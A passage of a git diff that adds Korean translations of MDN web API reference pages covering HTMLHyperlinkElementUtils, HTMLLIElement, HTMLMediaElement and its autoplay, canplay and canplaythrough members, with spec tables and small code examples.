+<h3 id="Submitting_forms_and_uploading_files_using_XMLHttpRequest">Submitting forms and uploading files using <code>XMLHttpRequest</code></h3>
+
+<p>If you want to know how to serialize and submit a form using the {{domxref("XMLHttpRequest")}} API, please read <a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files">this paragraph</a>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#htmlformelement", "HTMLFormElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>The following method has been added: <code>requestAutocomplete()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "sec-forms.html#htmlformelement", "HTMLFormElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>The elements properties returns an {{domxref("HTMLFormControlsCollection")}} instead of a raw {{domxref("HTMLCollection")}}. This is mainly a technical change. The following method has been added: <code>checkValidity()</code>. The following properties have been added: <code>autocomplete</code>, <code>noValidate</code>, and <code>encoding</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLFormElement")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The HTML element implementing this interface: {{ HTMLElement("form") }}.</li>
+</ul>
diff --git a/files/ko/web/api/htmlhyperlinkelementutils/href/index.html b/files/ko/web/api/htmlhyperlinkelementutils/href/index.html
new file mode 100644
index 0000000000..ba2dbea4d5
--- /dev/null
+++ b/files/ko/web/api/htmlhyperlinkelementutils/href/index.html
@@ -0,0 +1,51 @@
+---
+title: HTMLHyperlinkElementUtils.href
+slug: Web/API/HTMLHyperlinkElementUtils/href
+tags:
+  - API
+  - Experimental
+  - HTMLHyperlinkElementUtils
+  - Location
+  - Property
+  - Reference
+translation_of: Web/API/HTMLHyperlinkElementUtils/href
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p><strong><code>HTMLHyperlinkElementUtils.href</code></strong> 속성은 온전한 URL을 값으로 가지는 {{domxref("USVString")}}입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">// Lets imagine an &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href"&gt; element is in the document
+var anchor = document.getElementById("myAnchor");
+var result = anchor.href; // Returns: 'https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href'
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-hyperlink-href', 'HTMLHyperlinkElementUtils.href')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.HTMLHyperlinkElementUtils.href")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("HTMLHyperlinkElementUtils")}}</li>
+</ul>
diff --git a/files/ko/web/api/htmlhyperlinkelementutils/index.html b/files/ko/web/api/htmlhyperlinkelementutils/index.html
new file mode 100644
index 0000000000..cd82725dbf
--- /dev/null
+++ b/files/ko/web/api/htmlhyperlinkelementutils/index.html
@@ -0,0 +1,91 @@
+---
+title: HTMLHyperlinkElementUtils
+slug: Web/API/HTMLHyperlinkElementUtils
+tags:
+  - API
+  - Experimental
+  - Mixin
+  - NeedsTranslation
+  - TopicStub
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils
+---
+<p>{{ApiRef("URL API")}}{{SeeCompatTable}}</p>
+
+<p>The <strong><code>HTMLHyperlinkElementUtils</code></strong> mixin defines utility methods and properties to work with {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}}. These utilities allow to deal with common features like URLs.</p>
+
+<p>There are no objects of this type, but several objects {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}} implement it.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<div class="note">
+<p><strong>Note: </strong>This interface doesn't inherit any property.</p>
+</div>
+
+<dl>
+	<dt>{{domxref("HTMLHyperlinkElementUtils.href")}}</dt>
+	<dd>This is a {{domxref("USVString")}} containing the whole URL.</dd>
+	<dt>{{domxref("HTMLHyperlinkElementUtils.protocol")}}</dt>
+	<dd>This is a {{domxref("USVString")}} containing the protocol scheme of the URL, including the final <code>':'</code>.</dd>
+	<dt>{{domxref("HTMLHyperlinkElementUtils.host")}}</dt>
+	<dd>This is a {{domxref("USVString")}} containing the host, that is the <em>hostname</em>, and then, if the <em>port</em> of the URL is not empty (which can happen because it was not specified or because it was specified to be the default port of the URL's scheme), a <code>':'</code>, and the <em>port</em> of the URL.</dd>
+	<dt>{{domxref("HTMLHyperlinkElementUtils.hostname")}}</dt>
+	<dd>This is a {{domxref("USVString")}} containing the domain of the URL.</dd>
+	<dt>{{domxref("HTMLHyperlinkElementUtils.port")}}</dt>
+	<dd>This is a {{domxref("USVString")}} containing the port number of the URL.</dd>
+	<dt>{{domxref("HTMLHyperlinkElementUtils.pathname")}}</dt>
+	<dd>This is a {{domxref("USVString")}} containing an initial <code>'/'</code> followed by the path of the URL.</dd>
+	<dt>{{domxref("HTMLHyperlinkElementUtils.search")}}</dt>
+	<dd>This is a {{domxref("USVString")}} containing a <code>'?'</code> followed by the parameters of the URL.</dd>
+	<dt>{{domxref("HTMLHyperlinkElementUtils.hash")}}</dt>
+	<dd>This is a {{domxref("USVString")}} containing a <code>'#'</code> followed by the fragment identifier of the URL.</dd>
+	<dt>{{domxref("HTMLHyperlinkElementUtils.username")}}</dt>
+	<dd>This is a {{domxref("USVString")}} containing the username specified before the domain name.</dd>
+	<dt>{{domxref("HTMLHyperlinkElementUtils.password")}}</dt>
+	<dd>This is a {{domxref("USVString")}} containing the password specified before the domain name.</dd>
+	<dt>{{domxref("HTMLHyperlinkElementUtils.origin")}} {{readonlyInline}}</dt>
+	<dd>This returns a {{domxref("USVString")}} containing the origin of the URL (that is its scheme, its domain and its port).</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<div class="note">
+<p><strong>Note: </strong>This interface doesn't inherit any method.</p>
+</div>
+
+<dl>
+	<dt>{{domxref("HTMLHyperlinkElementUtils.toString()")}}</dt>
+	<dd>This returns a {{domxref("DOMString")}} containing the whole URL. It is a synonym for {{domxref("HTMLHyperlinkElementUtils.href")}}, though it can't be used to modify the value.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+	<thead>
+		<tr>
+			<th scope="col">Specification</th>
+			<th scope="col">Status</th>
+			<th scope="col">Comment</th>
+		</tr>
+	</thead>
+	<tbody>
+		<tr>
+			<td>{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils')}}</td>
+			<td>{{Spec2('HTML WHATWG')}}</td>
+			<td>Initial definition</td>
+		</tr>
+	</tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLHyperlinkElementUtils")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+	<li>Interfaces implementing this one: {{domxref("HTMLAnchorElement")}}, {{domxref("HTMLAreaElement")}}
+	</li>
+</ul>
diff --git a/files/ko/web/api/htmllielement/index.html b/files/ko/web/api/htmllielement/index.html
new file mode 100644
index 0000000000..8d75b5f623
--- /dev/null
+++ b/files/ko/web/api/htmllielement/index.html
@@ -0,0 +1,77 @@
+---
+title: HTMLLIElement
+slug: Web/API/HTMLLIElement
+translation_of: Web/API/HTMLLIElement
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p> <strong><code>HTMLLIElement</code></strong> 인터페이스는 리스트 엘리먼트를 조작하기 위한 특정 프로퍼티와 메소드들을 제공합니다.</p>
+
+<p>( 정규 {{domxref("HTMLElement")}} 인터페이스의 상속을통해 사용이 가능합니다. )</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>부모인 {{domxref("HTMLElement")}}에서 상속받습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLLIElement.type")}} {{obsolete_inline}}</dt>
+ <dd>는  {{domxref("DOMString")}} 의 <code>"disc"</code>, <code>"square"</code> 나 <code>"circle"</code> 같은 bullets 타입을 대표합니다.<br>
+ 리스트 유형을 정의하는 표준 정의 방법은 CSS {{cssxref("list-style-type")}} 프로퍼티를 통해서 이므로, 스트립트를 통하여 CSSSOM 메소드를 사용하세요.</dd>
+ <dt>{{domxref("HTMLLIElement.value")}}</dt>
+ <dd>는 주어진 {{HTMLElement("ol")}} 리스트 엘리먼트 안에서 서수의 위치를 가르키는 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">오랜</span></font> 서수적 포지션입니다. 이것은 HTML의  {{HTMLElement("li")}}엘리먼트의 {{htmlattrxref("value", "li")}}속성을 나타냅니다. 그리고  <code>0</code> 보다 작을 수도 있습니다.<br>
+ 만일 {{HTMLElement("li")}} 엘리먼트가 {{HTMLElement("ol")}}  엘리먼트의 자식이 아니라면, 프로퍼티는 아무 의미가 없게됩니다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>특정 메소드가 없으며, 부모로부터 프로퍼티를 상속 받습니다.{{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#htmllielement", "HTMLLIElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "grouping-content.html#the-li-element", "HTMLLIElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>The following property is now obsolete: <code>type</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-74680021', 'HTMLLIElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>No change from {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-74680021', 'HTMLLIElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.HTMLLIElement")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The HTML element implementing this interface: {{HTMLElement("li")}}</li>
+</ul>
diff --git a/files/ko/web/api/htmlmediaelement/autoplay/index.html b/files/ko/web/api/htmlmediaelement/autoplay/index.html
new file mode 100644
index 0000000000..666c3a41a8
--- /dev/null
+++ b/files/ko/web/api/htmlmediaelement/autoplay/index.html
@@ -0,0 +1,79 @@
+---
+title: HTMLMediaElement.autoplay
+slug: Web/API/HTMLMediaElement/autoplay
+translation_of: Web/API/HTMLMediaElement/autoplay
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p><span class="seoSummary"><strong><code>HTMLMediaElement.autoplay</code></strong> 프로퍼티는 {{htmlattrxref("autoplay", "video")}} HTML 어트리뷰트의 값을 반환합니다. 이 프로퍼티는 미디어가 문제 없이 재생 가능한 상황이 되면 자동 재생 여부를 결정합니다.</span></p>
+
+<p>미디어 엘리먼트의 소스가 {{domxref("MediaStream")}}이며 <code>autoplay</code> 프로퍼티가 <code>true</code> 일 경우 액티브 상태가 되면 재생합니다 (즉, {{domxref("MediaStream.active")}}가 <code>true</code>가 될 때).</p>
+
+<div class="note">
+<p><strong>Note:</strong> 오디오(또는 오디오가 있는 비디오)를 자동으로 재생하는 사이트는 사용자에게 그리 탐탁치 않은 경험일 수 있습니다, 그러므로 가능한 한 지양해야합니다. 자동 재생 기능을 제공하려면, 사전 동의(사용자에게 기능을 켜도록 함)를 받아야 합니다. 의외로 이 점은 사용자의 조작에 의해 미디어 엘레먼츠를 늦게 생성하는 경우 유용할 수 있습니다.</p>
+</div>
+
+<p>자동 재생과 자동 재생 제한, 그리고 브라우저의 자동 재생 제한에 대처하는 법에 대해 자세히 알고 싶다면 <a href="/en-US/docs/Web/Media/Autoplay_guide">미디어 자동 재생과 Web Audio API 가이드</a> 문서를 참조하세요.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox"><em>HTMLMediaElement</em>.autoplay = true | false;
+
+var <em>autoplay</em> = <em>HTMLMediaElement</em>.autoplay;</pre>
+
+<h3 id="값">값</h3>
+
+<p>미디어가 재생 가능할 정도로 로드되고 문제 없이 재생 가능할 때 자동 재생 여부를 {{domxref("Boolean")}} <code>true</code> 로 반환한다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 특정 브라우저는 사용자 설정을 통해 <code>autoplay</code> 프로퍼티를 무시하고 비디오/오디오 자동 재생을 막는 기능을 제공합니다. 자동 재생을 위해 <code>autoplay</code> 프로퍼티를 맹신하지 마세요.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<p>...</p>
+
+<pre class="brush: html">&lt;video id="video" controls&gt;
+  &lt;source src="https://player.vimeo.com/external/250688977.sd.mp4?s=d14b1f1a971dde13c79d6e436b88a6a928dfe26b&amp;profile_id=165"&gt;
+&lt;/video&gt;</pre>
+
+<pre>*** Disable autoplay (recommended) ***
+      false is the default value
+        document.querySelector('#video').autoplay = false;
+
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "embedded-content.html#dom-media-autoplay", "HTMLMediaElement.autoplay")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.autoplay")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.HTMLMediaElement.autoplay")}}</p>
+
+<h2 id="See_Also" name="See_Also">더 보기</h2>
+
+<ul>
+ <li>정의된 인터페이스 {{domxref("HTMLMediaElement")}}.</li>
+ <li>{{HTMLElement("audio")}}, {{HTMLElement("video")}} 엘리먼트</li>
+</ul>
diff --git a/files/ko/web/api/htmlmediaelement/canplay_event/index.html b/files/ko/web/api/htmlmediaelement/canplay_event/index.html
new file mode 100644
index 0000000000..95f700ef3f
--- /dev/null
+++ b/files/ko/web/api/htmlmediaelement/canplay_event/index.html
@@ -0,0 +1,82 @@
+---
+title: 'HTMLMediaElement: canplay'
+slug: Web/API/HTMLMediaElement/canplay_event
+tags:
+  - canplay
+translation_of: Web/API/HTMLMediaElement/canplay_event
+---
+<p><code>canplay</code> 이벤트는 user agent 가 media 를 재생할 수 있을 때 발생된다. 그러나, 컨텐츠의 추가 버퍼링을 위한 정지 없이 media 를 끝까지 재생하기에는, 로드된 데이터가 충분하지 않을 것으로 추산한다.</p>
+
+<h2 id="General_info">General info</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-canplay">HTML5 media</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Related_Events">Related Events</h2>
+
+<ul>
+ <li>{{event("playing")}}</li>
+ <li>{{event("waiting")}}</li>
+ <li>{{event("seeking")}}</li>
+ <li>{{event("seeked")}}</li>
+ <li>{{event("ended")}}</li>
+ <li>{{event("loadedmetadata")}}</li>
+ <li>{{event("loadeddata")}}</li>
+ <li>{{event("canplay")}}</li>
+ <li>{{event("canplaythrough")}}</li>
+ <li>{{event("durationchange")}}</li>
+ <li>{{event("timeupdate")}}</li>
+ <li>{{event("play")}}</li>
+ <li>{{event("pause")}}</li>
+ <li>{{event("ratechange")}}</li>
+ <li>{{event("volumechange")}}</li>
+ <li>{{event("suspend")}}</li>
+ <li>{{event("emptied")}}</li>
+ <li>{{event("stalled")}}</li>
+</ul>
diff --git a/files/ko/web/api/htmlmediaelement/canplaythrough_event/index.html b/files/ko/web/api/htmlmediaelement/canplaythrough_event/index.html
new file mode 100644
index 0000000000..198bc13a39
--- /dev/null
+++ b/files/ko/web/api/htmlmediaelement/canplaythrough_event/index.html
@@ -0,0 +1,82 @@
+---
+title: 'HTMLMediaElement: canplaythrough'
+slug: Web/API/HTMLMediaElement/canplaythrough_event
+tags:
+  - canplaythrough
+translation_of: Web/API/HTMLMediaElement/canplaythrough_event
+---
+<p><code>canplaythrough</code> 이벤트는 user agent 가 media 를 재생할 수 있을 때 발생되며, 컨텐츠의 추가 버퍼링을 위한 정지 없이 media 를 끝까지 재생하기에 로드된 데이터가 충분할 것으로 추산한다.</p>
+
+<h2 id="General_info">General info</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-canplaythrough">HTML5 media</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Related_Events">Related Events</h2>
+
+<ul>
+ <li>{{event("playing")}}</li>
+ <li>{{event("waiting")}}</li>
+ <li>{{event("seeking")}}</li>
+ <li>{{event("seeked")}}</li>
+ <li>{{event("ended")}}</li>
+ <li>{{event("loadedmetadata")}}</li>
+ <li>{{event("loadeddata")}}</li>
+ <li>{{event("canplay")}}</li>
+ <li>{{event("canplaythrough")}}</li>
+ <li>{{event("durationchange")}}</li>
+ <li>{{event("timeupdate")}}</li>
+ <li>{{event("play")}}</li>
+ <li>{{event("pause")}}</li>
+ <li>{{event("ratechange")}}</li>
+ <li>{{event("volumechange")}}</li>
+ <li>{{event("suspend")}}</li>
+ <li>{{event("emptied")}}</li>
+ <li>{{event("stalled")}}</li>
+</ul>
diff --git a/files/ko/web/api/htmlmediaelement/index.html b/files/ko/web/api/htmlmediaelement/index.html
new file mode 100644
index 0000000000..d8035bd3c0
--- /dev/null
+++ b/files/ko/web/api/htmlmediaelement/index.html
@@ -0,0 +1,282 @@
+---
+title: HTMLMediaElement
+slug: Web/API/HTMLMediaElement
+translation_of: Web/API/HTMLMediaElement
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p><span class="seoSummary"><strong><code>HTMLMediaElement</code></strong>는 오디오와 비디오에 통용되는 미디어 관련 확장성을 제공하기 위해 {{domxref("HTMLElement")}}에 메소드와 프로퍼티를 추가한 인터페이스입니다.</span> {{domxref("HTMLVideoElement")}} 와 {{domxref("HTMLAudioElement")}} 는 이 인터페이스를 상속합니다.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="속성(Properties)">속성(Properties)</h2>
+
+<p><em>이 인터페이스는 {{domxref("HTMLElement")}}, {{domxref("Element")}}, {{domxref("Node")}}, and {{domxref("EventTarget")}}의 프로퍼티들도 모두 상속합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.audioTracks")}}</dt>
+ <dd>{{domxref("AudioTrackList")}}는 엘레먼트의 {{domxref("AudioTrack")}} 객체의 목록입니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.autoplay")}}</dt>
+ <dd>미디어가 준비된 즉시 재생할 것인지 결정하는 {{htmlattrxref("autoplay", "video")}} 속성에 연결된 {{jsxref("Boolean")}}값입니다..
+ <div class="note"><strong>Note</strong>: 오디오(또는 오디오가 있는 비디오)를 자동으로 재생하는 사이트는 사용자에게 그리 탐탁치 않은 경험일 수 있습니다, 그러므로 가능한 한 지양해야합니다. 자동 재생 기능을 제공하려면, 사전 동의(사용자에게 기능을 켜도록 함)를 받아야 합니다. 의외로 이 점은 사용자의 조작에 의해 미디어 엘레먼츠를 늦게 생성하는 경우 유용할 수 있습니다.</div>
+ </dd>
+ <dt>{{domxref("HTMLMediaElement.buffered")}} {{readonlyinline}}</dt>
+ <dd><code>buffered</code> 프로퍼티에 접근한 시점에 브라우저가 버퍼에 담고 있는 미디어 소스의 구간 데이터를 나타내는 {{domxref("TimeRanges")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.controller")}}</dt>
+ <dd>미디어 엘레먼트에 할당된 {{domxref("MediaController")}} 객체를 반환하거나 없다면 null을 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.controls")}}</dt>
+ <dd>미디어 엘레먼트에 컨트롤를 표시할지 결정하는 {{htmlattrxref("controls", "video")}} HTML 속성 값을 {{jsxref('Boolean')}}으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.controlsList")}} {{readonlyinline}}</dt>
+ <dd>브라우저가 미디어 엘레먼트에 자체 컨트롤을 표시할 때 어떤 컨트롤을 보여주거나 숨길 지 결정하는 {{domxref("DOMTokenList")}}를 반환합니다. . <code>DOMTokenList<font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">는 </span></font></code><code>nodownload</code>, <code>nofullscreen</code>, <code>noremoteplayback</code> 값을 가질 수 있습니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.crossOrigin")}}</dt>
+ <dd>{{domxref("DOMString")}}미디어 엘레먼트의 <a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS 설정</a>값을 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.currentSrc")}} {{readonlyinline}}</dt>
+ <dd>현재 선택된 미디어 소스 URL의 절대 경로를 {{domxref("DOMString")}}로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.currentTime")}}</dt>
+ <dd>현재 재생 시점을 초 단위로 표현한 <code>double</code>값입니다. 이 값을 세팅하여 재생 시점을 변경할 수 있습니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.defaultMuted")}}</dt>
+ <dd>{{jsxref('Boolean')}} 기본적으로 음소거 상태인지 표시하는 {{htmlattrxref("muted", "video")}} HTML 속성 값을 {{jsxref('Boolean')}}으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.defaultPlaybackRate")}}</dt>
+ <dd>미디어 기본 재생 배속을 <code>double</code> 값으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.disableRemotePlayback")}}</dt>
+ <dd>Is a {{jsxref('Boolean')}} that sets or returns the remote playback state, indicating whether the media element is allowed to have a remote playback UI.</dd>
+ <dt>{{domxref("HTMLMediaElement.duration")}} {{readonlyinline}}</dt>
+ <dd>미디어의 전체 길이를 초 단위로 <code>double</code> 값으로 반환합니다. 재생 가능한 미디어가 없을 경우 0을 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.ended")}} {{readonlyinline}}</dt>
+ <dd>미디어 재생 완료 여부를 {{jsxref('Boolean')}} 값으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.error")}} {{readonlyinline}}</dt>
+ <dd>마지막으로 발생한 {{domxref("MediaError")}} 객체를 반환합니다. 발생한 에러가 없을 경우 <code>null</code>을 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.loop")}}</dt>
+ <dd>미디어의 반복 재생을 결정하는 HTML 속성 {{htmlattrxref("loop", "video")}} 값을{{jsxref('Boolean')}}으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.mediaGroup")}}</dt>
+ <dd>미디어가 속한 그룹을 나타내는 {{ htmlattrxref("mediagroup", "video")}} 속성을 {{domxref("DOMString")}} 값으로 반환합니다. 같은 그룹에 속한 미디어들은 동일한  {{domxref('MediaController')}}에 의해 제어됩니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.mediaKeys")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>{{domxref("MediaKeys")}} 객체 또는 <code>null</code>을 반환합니다. MediaKeys는 재생할 미디어 데이터를 복호화 하는데 사용합니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozAudioCaptured")}} {{readonlyinline}} {{non-standard_inline}}</dt>
+ <dd>오디오 스트림 캡쳐 여부를 {{jsxref('Boolean')}} 값으로 반환합니다. (Mozilla 전용 비표준 속성.)</dd>
+ <dt>{{domxref("HTMLMediaElement.mozFragmentEnd")}} {{non-standard_inline}}</dt>
+ <dd>MediaElement의 <code>currentSrc</code>에 fragment URI가 존재하는 경우 fragment end time을 <code>double</code> 값으로 반환합니다. 없을 경우 미디어 길이를 반환합니다. (Mozilla 전용 비표준 속성)</dd>
+ <dt>{{domxref("HTMLMediaElement.mozFrameBufferLength")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>
+ <p><code>MozAudioAvailable</code> 이벤트 발생시마다 반환된 framebuffer의 샘플 숫자를 <code>unsigned long</code> 로 반환한다. 이 숫자는 모든 오디오 채널의 총합이며, 기본값은 채널 수 * 1024(예, 2 채널 * 1024 샘플 = 2048)이다.</p>
+
+ <p>레이턴시가 낮은 경우 <code>mozFrameBufferLength</code> 를 더 큰 값으로 지정할 수도 있습니다. 범위는 512에서 16384 사이입니다. 범위를 넘어서는 값은 Error를 발생시킵니다. <a href="/en-US/docs/Web/Events/loadedmetadata">loadedmetadata</a> 이벤트가 발생할 때 새 값을 지정하는 것이 적절합니다. 오디오 정보는 알고 있지만 재생 시작 전 또는 <code>MozAudioAvailable</code> 이벤트가 발생하기 전 시점이죠.</p>
+ </dd>
+ <dt>{{domxref("HTMLMediaElement.mozSampleRate")}} {{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>디지털 샘플링 주파수 값을 <code>double</code>로 반환합니다. 예를 들어 CD 오디오의 경우 초당 44100 샘플을 가집니다.</dd>
+ <dt>{{domxref("HTMLMediaElement.muted")}}</dt>
+ <dd>오디오 음소거 여부를 {{jsxref('Boolean')}} 값으로 반환합니다. 음소거라면 <code>true</code> 반대는 <code>false</code> 를 반환합니다..</dd>
